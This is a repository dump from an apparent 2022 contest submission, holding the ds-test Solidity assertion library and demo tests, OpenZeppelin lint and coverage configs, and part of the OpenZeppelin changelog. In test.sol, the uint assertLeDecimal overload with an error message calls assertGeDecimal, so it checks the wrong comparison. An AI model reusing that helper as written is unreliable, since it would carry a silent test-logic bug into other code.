If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/Makefile
================================================
all:; dapp build
test:
-dapp --use solc:0.4.23 build
-dapp --use solc:0.4.26 build
-dapp --use solc:0.5.17 build
-dapp --use solc:0.6.12 build
-dapp --use solc:0.7.5 build
demo:
DAPP_SRC=demo dapp --use solc:0.7.5 build
-hevm dapp-test --verbose 3
.PHONY: test demo
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/default.nix
================================================
{ solidityPackage, dappsys }: solidityPackage {
name = "ds-test";
src = ./src;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/demo/demo.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.23;
import "../src/test.sol";
contract DemoTest is DSTest {
function test_this() public pure {
require(true);
}
function test_logs() public {
emit log("-- log(string)");
emit log("a string");
emit log("-- log_named_uint(string, uint)");
log_named_uint("uint", 512);
emit log("-- log_named_int(string, int)");
log_named_int("int", -512);
emit log("-- log_named_address(string, address)");
log_named_address("address", address(this));
emit log("-- log_named_bytes32(string, bytes32)");
log_named_bytes32("bytes32", "a string");
emit log("-- log_named_bytes(string, bytes)");
log_named_bytes("bytes", hex"cafefe");
emit log("-- log_named_string(string, string)");
log_named_string("string", "a string");
emit log("-- log_named_decimal_uint(string, uint, uint)");
log_named_decimal_uint("decimal uint", 1.0e18, 18);
emit log("-- log_named_decimal_int(string, int, uint)");
log_named_decimal_int("decimal int", -1.0e18, 18);
}
event log_old_named_uint(bytes32,uint);
function test_old_logs() public {
log_old_named_uint("key", 500);
log_named_bytes32("bkey", "val");
}
function test_trace() public view {
this.echo("string 1", "string 2");
}
function test_multiline() public {
emit log("a multiline\\n" "string");
emit log("a multiline " "string");
log_bytes("a string");
log_bytes("a multiline\n" "string");
log_bytes("a multiline\\n" "string");
emit log(unicode"Ώ");
logs(hex"0000");
log_named_bytes("0x0000", hex"0000");
logs(hex"ff");
}
function echo(string memory s1, string memory s2) public pure
returns (string memory, string memory)
{
return (s1, s2);
}
function prove_this(uint x) public {
log_named_uint("sym x", x);
assertGt(x + 1, 0);
}
function test_logn() public {
assembly {
log0(0x01, 0x02)
log1(0x01, 0x02, 0x03)
log2(0x01, 0x02, 0x03, 0x04)
log3(0x01, 0x02, 0x03, 0x04, 0x05)
}
}
event MyEvent(uint, uint indexed, uint, uint indexed);
function test_events() public {
emit MyEvent(1, 2, 3, 4);
}
function test_asserts() public {
string memory err = "this test has failed!";
emit log("## assertTrue(bool)\n");
assertTrue(false);
emit log("\n");
assertTrue(false, err);
emit log("\n## assertEq(address,address)\n");
assertEq(address(this), msg.sender);
emit log("\n");
assertEq(address(this), msg.sender, err);
emit log("\n## assertEq32(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(uint,uint)\n");
assertEq(uint(0), 1);
emit log("\n");
assertEq(uint(0), 1, err);
emit log("\n## assertEq(int,int)\n");
assertEq(-1, -2);
emit log("\n");
assertEq(-1, -2, err);
emit log("\n## assertEqDecimal(int,int,uint)\n");
assertEqDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertEqDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertEqDecimal(uint,uint,uint)\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGt(uint,uint)\n");
assertGt(uint(0), 0);
emit log("\n");
assertGt(uint(0), 0, err);
emit log("\n## assertGt(int,int)\n");
assertGt(-1, -1);
emit log("\n");
assertGt(-1, -1, err);
emit log("\n## assertGtDecimal(int,int,uint)\n");
assertGtDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGtDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGtDecimal(uint,uint,uint)\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGe(uint,uint)\n");
assertGe(uint(0), 1);
emit log("\n");
assertGe(uint(0), 1, err);
emit log("\n## assertGe(int,int)\n");
assertGe(-1, 0);
emit log("\n");
assertGe(-1, 0, err);
emit log("\n## assertGeDecimal(int,int,uint)\n");
assertGeDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGeDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGeDecimal(uint,uint,uint)\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertLt(uint,uint)\n");
assertLt(uint(0), 0);
emit log("\n");
assertLt(uint(0), 0, err);
emit log("\n## assertLt(int,int)\n");
assertLt(-1, -1);
emit log("\n");
assertLt(-1, -1, err);
emit log("\n## assertLtDecimal(int,int,uint)\n");
assertLtDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLtDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLtDecimal(uint,uint,uint)\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertLe(uint,uint)\n");
assertLe(uint(1), 0);
emit log("\n");
assertLe(uint(1), 0, err);
emit log("\n## assertLe(int,int)\n");
assertLe(0, -1);
emit log("\n");
assertLe(0, -1, err);
emit log("\n## assertLeDecimal(int,int,uint)\n");
assertLeDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLeDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLeDecimal(uint,uint,uint)\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertEq(string,string)\n");
string memory s1 = "string 1";
string memory s2 = "string 2";
assertEq(s1, s2);
emit log("\n");
assertEq(s1, s2, err);
emit log("\n## assertEq0(bytes,bytes)\n");
assertEq0(hex"abcdef01", hex"abcdef02");
log("\n");
assertEq0(hex"abcdef01", hex"abcdef02", err);
}
}
contract DemoTestWithSetUp {
function setUp() public {
}
function test_pass() public pure {
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/src/test.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see .
pragma solidity >=0.4.23;
contract DSTest {
event log (string);
event logs (bytes);
event log_address (address);
event log_bytes32 (bytes32);
event log_int (int);
event log_uint (uint);
event log_bytes (bytes);
event log_string (string);
event log_named_address (string key, address val);
event log_named_bytes32 (string key, bytes32 val);
event log_named_decimal_int (string key, int val, uint decimals);
event log_named_decimal_uint (string key, uint val, uint decimals);
event log_named_int (string key, int val);
event log_named_uint (string key, uint val);
event log_named_bytes (string key, bytes val);
event log_named_string (string key, string val);
bool public IS_TEST = true;
bool public failed;
address constant HEVM_ADDRESS =
address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));
modifier mayRevert() { _; }
modifier testopts(string memory) { _; }
function fail() internal {
failed = true;
}
modifier logs_gas() {
uint startGas = gasleft();
_;
uint endGas = gasleft();
emit log_named_uint("gas", startGas - endGas);
}
function assertTrue(bool condition) internal {
if (!condition) {
emit log("Error: Assertion Failed");
fail();
}
}
function assertTrue(bool condition, string memory err) internal {
if (!condition) {
emit log_named_string("Error", err);
assertTrue(condition);
}
}
function assertEq(address a, address b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [address]");
emit log_named_address(" Expected", b);
emit log_named_address(" Actual", a);
fail();
}
}
function assertEq(address a, address b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq(bytes32 a, bytes32 b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [bytes32]");
emit log_named_bytes32(" Expected", b);
emit log_named_bytes32(" Actual", a);
fail();
}
}
function assertEq(bytes32 a, bytes32 b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq32(bytes32 a, bytes32 b) internal {
assertEq(a, b);
}
function assertEq32(bytes32 a, bytes32 b, string memory err) internal {
assertEq(a, b, err);
}
function assertEq(int a, int b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [int]");
emit log_named_int(" Expected", b);
emit log_named_int(" Actual", a);
fail();
}
}
function assertEq(int a, int b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEq(uint a, uint b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [uint]");
emit log_named_uint(" Expected", b);
emit log_named_uint(" Actual", a);
fail();
}
}
function assertEq(uint a, uint b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEqDecimal(int a, int b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal int]");
emit log_named_decimal_int(" Expected", b, decimals);
emit log_named_decimal_int(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertEqDecimal(uint a, uint b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Expected", b, decimals);
emit log_named_decimal_uint(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertGt(uint a, uint b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGt(uint a, uint b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGt(int a, int b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGt(int a, int b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGtDecimal(int a, int b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGtDecimal(uint a, uint b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGe(uint a, uint b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGe(uint a, uint b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGe(int a, int b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGe(int a, int b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGeDecimal(int a, int b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertGeDecimal(uint a, uint b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertLt(uint a, uint b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLt(uint a, uint b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLt(int a, int b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLt(int a, int b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLtDecimal(int a, int b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLtDecimal(uint a, uint b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLe(uint a, uint b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLe(uint a, uint b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLe(int a, int b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLe(int a, int b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLeDecimal(int a, int b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLeDecimal(a, b, decimals);
}
}
function assertLeDecimal(uint a, uint b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertEq(string memory a, string memory b) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log("Error: a == b not satisfied [string]");
emit log_named_string(" Value a", a);
emit log_named_string(" Value b", b);
fail();
}
}
function assertEq(string memory a, string memory b, string memory err) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {
ok = true;
if (a.length == b.length) {
for (uint i = 0; i < a.length; i++) {
if (a[i] != b[i]) {
ok = false;
}
}
} else {
ok = false;
}
}
function assertEq0(bytes memory a, bytes memory b) internal {
if (!checkEq0(a, b)) {
emit log("Error: a == b not satisfied [bytes]");
emit log_named_bytes(" Expected", a);
emit log_named_bytes(" Actual", b);
fail();
}
}
function assertEq0(bytes memory a, bytes memory b, string memory err) internal {
if (!checkEq0(a, b)) {
emit log_named_string("Error", err);
assertEq0(a, b);
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.codecov.yml
================================================
comment: off
github_checks:
annotations: false
coverage:
status:
patch:
default:
target: 95%
project:
default:
threshold: 1%
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.editorconfig
================================================
# EditorConfig is awesome: https://EditorConfig.org
# top-most EditorConfig file
root = true
[*]
charset = utf-8
end_of_line = lf
indent_style = space
insert_final_newline = true
trim_trailing_whitespace = false
max_line_length = 120
[*.sol]
indent_size = 4
[*.js]
indent_size = 2
[*.adoc]
max_line_length = 0
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.eslintrc
================================================
{
"extends" : [
"standard",
"plugin:promise/recommended",
],
"plugins": [
"mocha-no-only",
"promise",
],
"env": {
"browser" : true,
"node" : true,
"mocha" : true,
"jest" : true,
},
"globals" : {
"artifacts": false,
"contract": false,
"assert": false,
"web3": false,
"usePlugin": false,
"extendEnvironment": false,
},
"rules": {
// Strict mode
"strict": ["error", "global"],
// Code style
"array-bracket-spacing": ["off"],
"camelcase": ["error", {"properties": "always"}],
"comma-dangle": ["error", "always-multiline"],
"comma-spacing": ["error", {"before": false, "after": true}],
"dot-notation": ["error", {"allowKeywords": true, "allowPattern": ""}],
"eol-last": ["error", "always"],
"eqeqeq": ["error", "smart"],
"generator-star-spacing": ["error", "before"],
"indent": ["error", 2],
"linebreak-style": ["error", "unix"],
"max-len": ["error", 120, 2],
"no-debugger": "off",
"no-dupe-args": "error",
"no-dupe-keys": "error",
"no-mixed-spaces-and-tabs": ["error", "smart-tabs"],
"no-redeclare": ["error", {"builtinGlobals": true}],
"no-trailing-spaces": ["error", { "skipBlankLines": false }],
"no-undef": "error",
"no-use-before-define": "off",
"no-var": "error",
"object-curly-spacing": ["error", "always"],
"prefer-const": "error",
"quotes": ["error", "single"],
"semi": ["error", "always"],
"space-before-function-paren": ["error", "always"],
"mocha-no-only/mocha-no-only": ["error"],
"promise/always-return": "off",
"promise/avoid-new": "off",
},
"parserOptions": {
"ecmaVersion": 2018
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.gitattributes
================================================
*.sol linguist-language=Solidity
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.gitignore
================================================
*.swp
*.swo
# Logs
logs
*.log
# Runtime data
pids
*.pid
*.seed
allFiredEvents
scTopics
# Coverage directory used by tools like istanbul
coverage
coverage.json
coverageEnv
# node-waf configuration
.lock-wscript
# Dependency directory
node_modules
# Debug log from npm
npm-debug.log
# local env variables
.env
# truffle build directory
build/
# macOS
.DS_Store
# truffle
.node-xmlhttprequest-*
# IntelliJ IDE
.idea
# docs artifacts
docs/modules/api
# only used to package @openzeppelin/contracts
contracts/build/
contracts/README.md
# temporary artifact from solidity-coverage
allFiredEvents
.coverage_artifacts
.coverage_cache
.coverage_contracts
# hardhat
cache
artifacts
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.mocharc.js
================================================
module.exports = {
require: 'hardhat/register',
timeout: 4000,
};
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.prettierrc
================================================
{
"overrides": [
{
"files": "*.sol",
"options": {
"printWidth": 120,
"explicitTypes": "always"
}
}
]
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.solcover.js
================================================
module.exports = {
norpc: true,
testCommand: 'npm test',
compileCommand: 'npm run compile',
skipFiles: [
'mocks',
],
providerOptions: {
default_balance_ether: '10000000000000000000000000',
},
mocha: {
fgrep: '[skip-on-coverage]',
invert: true,
},
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/.solhint.json
================================================
{
"rules": {
"no-unused-vars": "error",
"const-name-snakecase": "error",
"contract-name-camelcase": "error",
"event-name-camelcase": "error",
"func-name-mixedcase": "error",
"func-param-name-mixedcase": "error",
"modifier-name-mixedcase": "error",
"private-vars-leading-underscore": "error",
"var-name-mixedcase": "error",
"imports-on-top": "error"
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/CHANGELOG.md
================================================
# Changelog
## 4.4.2 (2022-01-11)
### Bugfixes
* `GovernorCompatibilityBravo`: Fix error in the encoding of calldata for proposals submitted through the compatibility interface with explicit signatures. ([#3100](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/#3100))
## 4.4.1 (2021-12-14)
* `Initializable`: change the existing `initializer` modifier and add a new `onlyInitializing` modifier to prevent reentrancy risk. ([#3006](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/3006))
### Breaking change
It is no longer possible to call an `initializer`-protected function from within another `initializer` function outside the context of a constructor. Projects using OpenZeppelin upgradeable proxies should continue to work as is, since in the common case the initializer is invoked in the constructor directly. If this is not the case for you, the suggested change is to use the new `onlyInitializing` modifier in the following way:
```diff
contract A {
- function initialize() public initializer { ... }
+ function initialize() internal onlyInitializing { ... }
}
contract B is A {
function initialize() public initializer {
A.initialize();
}
}
```
## 4.4.0 (2021-11-25)
* `Ownable`: add an internal `_transferOwnership(address)`. ([#2568](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2568))
* `AccessControl`: add internal `_grantRole(bytes32,address)` and `_revokeRole(bytes32,address)`. ([#2568](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2568))
* `AccessControl`: mark `_setupRole(bytes32,address)` as deprecated in favor of `_grantRole(bytes32,address)`. ([#2568](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2568))
* `AccessControlEnumerable`: hook into `_grantRole(bytes32,address)` and `_revokeRole(bytes32,address)`. ([#2946](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2946))
* `EIP712`: cache `address(this)` to immutable storage to avoid potential issues if a vanilla contract is used in a delegatecall context. ([#2852](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2852))
* Add internal `_setApprovalForAll` to `ERC721` and `ERC1155`. ([#2834](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2834))
* `Governor`: shift vote start and end by one block to better match Compound's GovernorBravo and prevent voting at the Governor level if the voting snapshot is not ready. ([#2892](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2892))
* `GovernorCompatibilityBravo`: consider quorum an inclusive rather than exclusive minimum to match Compound's GovernorBravo. ([#2974](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2974))
* `GovernorSettings`: a new governor module that manages voting settings updatable through governance actions. ([#2904](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2904))
* `PaymentSplitter`: now supports ERC20 assets in addition to Ether. ([#2858](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2858))
* `ECDSA`: add a variant of `toEthSignedMessageHash` for arbitrary length message hashing. ([#2865](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2865))
* `MerkleProof`: add a `processProof` function that returns the rebuilt root hash given a leaf and a proof. ([#2841](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2841))
* `VestingWallet`: new contract that handles the vesting of Ether and ERC20 tokens following a customizable vesting schedule. ([#2748](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2748))
* `Governor`: enable receiving Ether when a Timelock contract is not used. ([#2748](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2849))
* `GovernorTimelockCompound`: fix ability to use Ether stored in the Timelock contract. ([#2748](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2849))
## 4.3.3
* `ERC1155Supply`: Handle `totalSupply` changes by hooking into `_beforeTokenTransfer` to ensure consistency of balances and supply during `IERC1155Receiver.onERC1155Received` calls.
## 4.3.2 (2021-09-14)
* `UUPSUpgradeable`: Add modifiers to prevent `upgradeTo` and `upgradeToAndCall` being executed on any contract that is not the active ERC1967 proxy. This prevents these functions being called on implementation contracts or minimal ERC1167 clones, in particular.
## 4.3.1 (2021-08-26)
* `TimelockController`: Add additional isOperationReady check.
## 4.3.0 (2021-08-17)
* `ERC2771Context`: use private variable from storage to store the forwarder address. Fixes issues where `_msgSender()` was not callable from constructors. ([#2754](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2754))
* `EnumerableSet`: add `values()` functions that returns an array containing all values in a single call. ([#2768](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2768))
* `Governor`: added a modular system of `Governor` contracts based on `GovernorAlpha` and `GovernorBravo`. ([#2672](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2672))
* Add an `interfaces` folder containing solidity interfaces to final ERCs. ([#2517](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2517))
* `ECDSA`: add `tryRecover` functions that will not throw if the signature is invalid, and will return an error flag instead. ([#2661](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2661))
* `SignatureChecker`: Reduce gas usage of the `isValidSignatureNow` function for the "signature by EOA" case. ([#2661](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2661))
## 4.2.0 (2021-06-30)
* `ERC20Votes`: add a new extension of the `ERC20` token with support for voting snapshots and delegation. ([#2632](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2632))
* `ERC20VotesComp`: Variant of `ERC20Votes` that is compatible with Compound's `Comp` token interface but restricts supply to `uint96`. ([#2706](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2706))
* `ERC20Wrapper`: add a new extension of the `ERC20` token which wraps an underlying token. Deposit and withdraw guarantee that the total supply is backed by a corresponding amount of underlying token. ([#2633](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2633))
* Enumerables: Improve gas cost of removal in `EnumerableSet` and `EnumerableMap`.
* Enumerables: Improve gas cost of lookup in `EnumerableSet` and `EnumerableMap`.
* `Counter`: add a reset method. ([#2678](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2678))
* Tokens: Wrap definitely safe subtractions in `unchecked` blocks.
* `Math`: Add a `ceilDiv` method for performing ceiling division.
* `ERC1155Supply`: add a new `ERC1155` extension that keeps track of the totalSupply of each tokenId. ([#2593](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2593))
* `BitMaps`: add a new `BitMaps` library that provides a storage efficient datastructure for `uint256` to `bool` mapping with contiguous keys. ([#2710](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2710))
### Breaking Changes
* `ERC20FlashMint` is no longer a Draft ERC. ([#2673](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2673)))
**How to update:** Change your import paths by removing the `draft-` prefix from `@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20FlashMint.sol`.
> See [Releases and Stability: Drafts](https://docs.openzeppelin.com/contracts/4.x/releases-stability#drafts).
## 4.1.0 (2021-04-29)
* `IERC20Metadata`: add a new extended interface that includes the optional `name()`, `symbol()` and `decimals()` functions. ([#2561](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2561))
* `ERC777`: make reception acquirement optional in `_mint`. ([#2552](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2552))
* `ERC20Permit`: add a `_useNonce` to enable further usage of ERC712 signatures. ([#2565](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2565))
* `ERC20FlashMint`: add an implementation of the ERC3156 extension for flash-minting ERC20 tokens. ([#2543](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2543))
* `SignatureChecker`: add a signature verification library that supports both EOA and ERC1271 compliant contracts as signers. ([#2532](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2532))
